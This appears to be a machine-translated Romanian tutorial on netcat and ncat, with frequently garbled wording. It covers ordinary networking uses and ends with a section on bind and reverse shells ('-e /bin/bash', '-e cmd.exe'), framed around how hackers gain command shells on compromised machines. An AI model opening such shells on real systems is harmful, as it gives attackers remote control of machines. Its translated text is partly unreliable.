Netcat

Netcat este o aplicație terminal, care este similar cu programul telnet dar are mult mai multe caracteristici.

este o „versiune de putere” a programului tradițional telnet. în afară de funcțiile telnet de bază, poate face diverse alte lucruri, cum ar fi crearea de servere socket pentru a asculta conexiunile primite pe porturi, pentru a transfera fișiere de pe terminal etc. deci ,este un instrument mic, care este ambalat cu o mulțime de caracteristici., Prin urmare, sa numit „elvețian-armata cuțit pentru TCP/IP”.

manualul netcat definește netcat ca

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.

deci, practic netcat este un instrument pentru a face unele comunicații de rețea bidirecțională prin protocoalele TCP / UDP. mai tehnic vorbind, netcat poate acționa ca un server sau client socket și poate interacționa cu alte programe în același timp trimițând și primind date prin rețea. o astfel de definiție pare prea generică și face dificilă înțelegerea exact a ceea ce face acest instrument și pentru ce este util., Acest lucru poate fi înțeles numai prin utilizarea și jocul cu el.deci, primul lucru de făcut ar fi să configurați netcat pe mașina dvs. Netcat vine în diferite arome. Înseamnă că este disponibil de la mai mulți furnizori. dar majoritatea au funcționalități similare. Pe Ubuntu există 3 pachete numite netcat-openbsd, netcat-traditional și ncat.

Versiunea mea preferată este ncat. Ncat a fost dezvoltat de echipa nmap este cel mai bun dintre toate netcats disponibile și cel mai important cross platform și funcționează foarte bine pe windows.,

site-ul proiectului:

instalați ncat pe Windows

Versiunea Windows a netcat poate fi descărcată de la

pur și simplu descărcați și extrageți fișierele undeva potrivit.

sau descărcați versiunea windows ncat

instalați ncat pe Ubuntu / Linux Mint/Linux

pachetul Syntaptic Ubuntu are pachete netcat-openbsd și netcat-tradiționale disponibile. Instalați-le pe ambele. Nmap vine si cu o implementare netcat numita ncat. Instalați și asta.,

Instalați pe Ubuntu

$ sudo apt-get install netcat-traditional netcat-openbsd nmap

pentru a utiliza implementarea netcat-openbsd utilizați comanda „nc”.
pentru a utiliza netcat-utilizarea tradițională de implementare ” nc.comanda tradițională”
pentru a utiliza Nmap ncat folosiți comanda „ncat”.

Exemple de comandă Netcat

în tutorialul următor vom folosi toate acestea în diferite exemple în moduri diferite.

Telnet

primul lucru pe care netcat poate fi folosit ca este un program telnet. Să vedem cum.

$ nc -v google.com 80

Acum netcat este conectat la google.com pe portul 80 și la timp pentru a trimite un mesaj., Să încercăm să preluăm pagina de index. Pentru acest tip ” obțineți index.html HTTP/1.1 ” și apăsați tasta Enter de două ori. Amintiți-vă de două ori.

ieșirea din google.com a fost recepționat și ecou pe terminal.

server socket simplu

pentru a deschide un tip de server socket simplu în următoarea comandă.

$ nc -l -v 1234

comanda de mai sus înseamnă : Netcat ascultați portul TCP 1234. Opțiunea-v oferă ieșire verbose pentru o mai bună înțelegere., Acum de la un alt terminal încerca să se conecteze la portul 1234 folosind comanda telnet, după cum urmează :

$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong

După conectarea vom trimite un mesaj de test ca abc și ting tong la netcat socket server. Serverul socket netcat va ecou datele primite de la clientul telnet.

$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong

acesta este un sistem complet de chat. Tastați ceva în terminalul netcat și va apărea și în terminalul telnet. Deci, această tehnică poate fi utilizată pentru chat între 2 mașini.,ncat cu opțiunea-c poate fi folosit pentru a porni un server echo. Sursa

Porniți serverul echo folosind ncat după cum urmează

$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'

acum de la un alt terminal conectați folosind telnet și tastați ceva. Acesta va fi trimis înapoi cu „” prefixat.
versiunea netcat-openbsd nu are opțiunea-C. Nu uitați să utilizați întotdeauna opțiunea-v pentru ieșire verbose.notă: Netcat poate fi spus pentru a salva datele într-un fișier în loc de ecou-l la terminal.,

$ nc -l -v 1234 > data.txt

creare server UDP

Netcat funcționează și cu porturi udp. Pentru a începe un netcat server folosind udp foloseste -u opțiune

$ nc -v -ul 7000

UDP Client

se Conecteze la acest server folosind netcat de la un alt terminal

$ nc localhost -u 7000

Acum ambele terminale pot discuta cu fiecare alte.

transfer de fișiere

un fișier întreg poate fi transferat cu netcat. Iată un exemplu rapid.

o mașină a-trimite fișier

$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555

în comanda de mai sus, comanda cat citește și scoate conținutul happy.txt., Ieșirea nu este ecou la terminal, în schimb este prin conducte sau alimentat la ncat, care a deschis un server socket pe portul 5555.

Pe mașină B – Primiți Fișiere

$ ncat localhost 5555 > happy_copy.txt

În comanda de mai sus ncat va conecta la localhost pe portul 5555 și ce primește va fi scris la happy_copy.txt

acum happy_copy.txt va fi o copie a happy.txt deoarece datele trimise prin portul 5555 sunt conținutul happy.txt în comanda anterioară.Netcat va trimite fișierul numai primului client care se conectează la acesta. După aceea sa terminat.,
și după ce primul client închide conexiunea, serverul netcat va închide și conexiunea.

scanarea porturilor

Netcat poate fi de asemenea utilizat pentru scanarea porturilor. Cu toate acestea, aceasta nu este o utilizare corectă a netcat și ar trebui folosit un instrument mai aplicabil, cum ar fi nmap.

parametrul „- n ” aici previne căutare DNS,”- z „face nc nu primesc date de la server, și” – w 1 ” face timeout conexiune după 1 secundă de inactivitate.

Remote Shell / Backdoor

Ncat poate fi folosit pentru a porni un shell de bază pe un sistem la distanță pe un port fără a fi nevoie de ssh., Iată un exemplu rapid.

$ ncat -v -l -p 7777 -e /bin/bash

cele de mai sus vor porni un server pe portul 7777 și vor trece toate intrările primite la comanda bash, iar rezultatele vor fi trimise înapoi. Comanda convertește practic programul bash într-un server. Deci, netcat poate fi folosit pentru a converti orice proces într-un server.

se Conecteze la acest bash shell folosind nc de la un alt terminal

$ nc localhost 7777

Acum, încercați executa orice comanda ca ajuta , ls , pwd etc.

Windows

pe mașina windows cmd.,exe (dos prompt program) este folosit pentru a porni un shell similar folosind netcat. Sintaxa comenzii este aceeași.

C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182

Acum o alta consola se poate conecta folosind comanda telnet

Deși netcat, deși poate fi folosit pentru configurare de la distanță scoici, nu este util pentru a obține un shell interactiv pe un sistem la distanță, pentru că în cele mai multe cazuri netcat nu s-ar fi instalat pe un sistem la distanță. cea mai eficientă metodă de a obține o coajă pe o mașină la distanță folosind netcat este prin crearea de cochilii inverse.,aceasta este cea mai puternică caracteristică a netcat pentru care este cea mai folosită de hackeri. Netcat este utilizat în aproape toate tehnicile de coajă inversă pentru a prinde conexiunea inversă a programului shell dintr-un sistem hacked.mai întâi să luăm un exemplu de conexiune telnet inversă simplă. În ordinate telnet connection clientul se conectează la server pentru a porni un canal de comunicare.

Your system runs (# telnet server port_number) =============> Server

acum, folosind tehnica de mai sus vă puteți conecta pentru a spune portul 80 al serverului pentru a prelua o pagină web., Cu toate acestea, un hacker este interesat să obțină un shell de comandă. Este promptul de comandă al windows sau terminalul linux. Shell-ul de comandă oferă un control final al sistemului de la distanță. Acum nu există niciun serviciu care rulează pe serverul de la distanță la care să vă puteți conecta și să obțineți un shell de comandă.deci, atunci când un hacker intră într-un sistem, trebuie să obțină un shell de comandă. Deoarece nu este posibil în mod direct, soluția este de a utiliza o coajă inversă. Într-un shell invers, serverul inițiază o conexiune la mașina hackerului și dă un shell de comandă.,

Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine

pentru a aștepta conexiunile primite, trebuie deschis un ascultător local de soclu. Netcat / ncat poate face acest lucru.
Mai întâi un server netcat trebuie să fie pornit pe mașina locală sau pe mașina hackerului.

mașină A

$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888

cele de mai sus vor porni un server socket (ascultător) pe portul 8888 pe mașina locală/mașina hackerului.acum trebuie lansată o coajă inversă pe mașina țintă/mașina hacked. Există o serie de moduri de a lansa cochilii inverse., pentru ca orice metodă să funcționeze, hackerul trebuie fie să poată executa comenzi arbitrare pe sistem, fie ar trebui să poată încărca un fișier care poate fi executat prin deschiderea din browser (ca un script php).

în acest exemplu nu facem niciunul dintre lucrurile menționate mai sus. Vom rula doar netcat pe server, de asemenea, pentru a arunca o coajă de comandă inversă pentru a demonstra conceptul. Deci, netcat ar trebui să fie instalat pe server sau pe mașina țintă.,

Masina B :

$ ncat localhost 8888 -e /bin/bash

Aceasta comanda va conecta la aparat-O pe portul 8888 și furaje în producția de bash eficient oferind o coajă de mașină A. Acum masina O poate executa orice comanda pe mașina B.

Masina

Într-un adevărat hacking/teste de penetrare scenariu nu este posibil pentru a rula netcat pe mașina țintă. Prin urmare, alte tehnici sunt folosite pentru a crea o coajă. Acestea includ încărcarea scripturilor php reverse shell și rularea acestora deschizându-le în browser. Sau lansarea unui exploit buffer overflow pentru a executa sarcina utilă reverse shell.,Deci, în exemplele de mai sus am văzut cum să folosim netcat pentru diferite activități de rețea, cum ar fi telnet, shell-uri inverse etc. Hackerii îl folosesc mai ales pentru a crea cochilii inverse rapide.

în acest tutorial am acoperit unele dintre utilizările de bază și comune ale netcat. Consultați articolul wikipedia pentru mai multe informații despre ce altceva poate face netcat.

Lasă un răspuns

Adresa ta de email nu va fi publicată. Câmpurile obligatorii sunt marcate cu *